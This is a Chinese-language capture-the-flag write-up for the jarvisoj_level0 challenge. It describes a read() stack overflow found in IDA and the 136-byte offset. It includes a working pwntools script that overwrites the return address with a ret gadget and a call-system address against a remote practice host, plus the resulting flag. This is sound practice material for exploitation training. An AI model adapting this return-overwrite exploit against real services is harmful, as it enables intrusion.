jarvisoj_level0

jarvisoj_level0

逆向分析

image-20250719195456441

依旧先下载文件,ida分析。

image-20250719195531326

image-20250719195541490

image-20250719195557212

经典的一个通过read函数栈溢出的漏洞,buf数组只有128位但是read却读进512位,依旧是测算填充数量的两个方法,128+8=136.

image-20250719195740234

两项印证故必为136位,在加上ret进行栈对齐。找一下。

0x0000000000400431ret,0x400596callsystem这是两个地址。

offset=136。有了这些参数就可以开始写payload了。

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
import struct
host = "node5.buuoj.cn"
port = 26832
p = remote(host, port)
# 偏移量
#context.terminal = ['tmux', 'splitw', '-h']
#p = process('./pwn1_sctf_2016')
offset = 136
ret_addr = 0x0000000000400431
flag_addr = 0x400596
payload = flat(
b'I'*offset,
p64(ret_addr),
p64(flag_addr)
)
p.sendline(payload)
# --- 接收Flag ---
# 切换到交互模式,程序会执行cat flag.txt,我们就能看到flag了
log.success("Payload sent! Here comes the flag...")
p.interactive()

image-20250719200900451

成功!

flag:flag{22d5d841-c379-41b2-b289-8fd7a757b51e}